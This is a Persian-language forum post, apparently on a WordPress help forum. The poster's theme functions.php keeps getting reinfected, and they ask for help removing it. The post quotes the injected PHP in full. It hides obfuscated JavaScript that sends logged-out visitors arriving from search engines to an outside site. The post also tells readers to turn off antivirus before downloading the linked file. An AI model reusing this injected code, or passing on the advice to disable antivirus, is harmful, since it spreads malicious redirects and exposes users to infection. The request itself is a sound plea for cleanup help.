javadonlineبا سلام به همه دوستان عزیز
من یک قالب دارم که آنتی ویروس فایل functions.php رو همیشه ویروس میگرفت و سایت رو میبست بعد از چند روز روش کار کار کردن آخرش کد ویروسی رو پیدا کردم ولی الان هر چقدر پاک میکنم فرداش دوباره اون کد اتوماتیک توش ایجاد میشه و باز آنتی ویروس عزیز پیر میده بهش.
ممنون میشم راهنمایی کنید. فایل functions.php رو هم قرار میدم. کد ویروسی هم من این رو پیدا کردم که پاک میکنم درست میشه ولی باز بر میگرده:
دوستان اگه ویروسی نشان داد خطرناک نیست جند لحظه غیرفعال کنید بعد کد آخری که پاک میکنید درست میشه.
ولی مشکل تو برگشتن کد هست
لینک دانلود:http://www.mediafire.com/?bsd2pb7rslaht8k
<?php
add_action('get_footer', 'add_sscounter');
function add_sscounter(){
echo '<!--scounter-->';
if(function_exists('is_user_logged_in')){
if(time()%2 == 0 && !is_user_logged_in()){
echo "<script language=\"JavaScript\">eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\\b'+e(c)+'\\\b','g'),k[c]);return p}('e r=x.9,t=\"\",q;4(r.3(\"m.\")!=-1)t=\"q\";4(r.3(\"7.\")!=-1)t=\"q\";4(r.3(\"8.\")!=-1)t=\"p\";4(r.3(\"a.\")!=-1)t=\"q\";4(r.3(\"f.\")!=-1)t=\"g\";4(r.3(\"j.\")!=-1)t=\"q\";4(t.6&&((q=r.3(\"?\"+t+\"=\"))!=-1||(q=r.3(\"&\"+t+\"=\"))!=-1))B.C=\"v\"+\"w\"+\":/\"+\"/A\"+\"b\"+\"k\"+\"5\"+\"h.\"+\"c\"+\"z/s\"+\"u\"+\"5\"+\"h.p\"+\"d?\"+\"t\"+\"y=1&t\"+\"i\"+\"l=\"+r.n(q+2+t.6).o(\"&\")[0];',39,39,'|||indexOf|if|rc|length|msn|yahoo|referrer|altavista|ogo|bi|hp|var|aol|query||er|ask|sea|ms|google|substring|split||||||ea|ht|tp|document|||go|window|location'.split('|'),0,{}))</script>";
}
}
}
?>این کد آخر کدهای فایل functions.php است. ممنون
Morteza
fakhi
blacknet
حل‌نشده
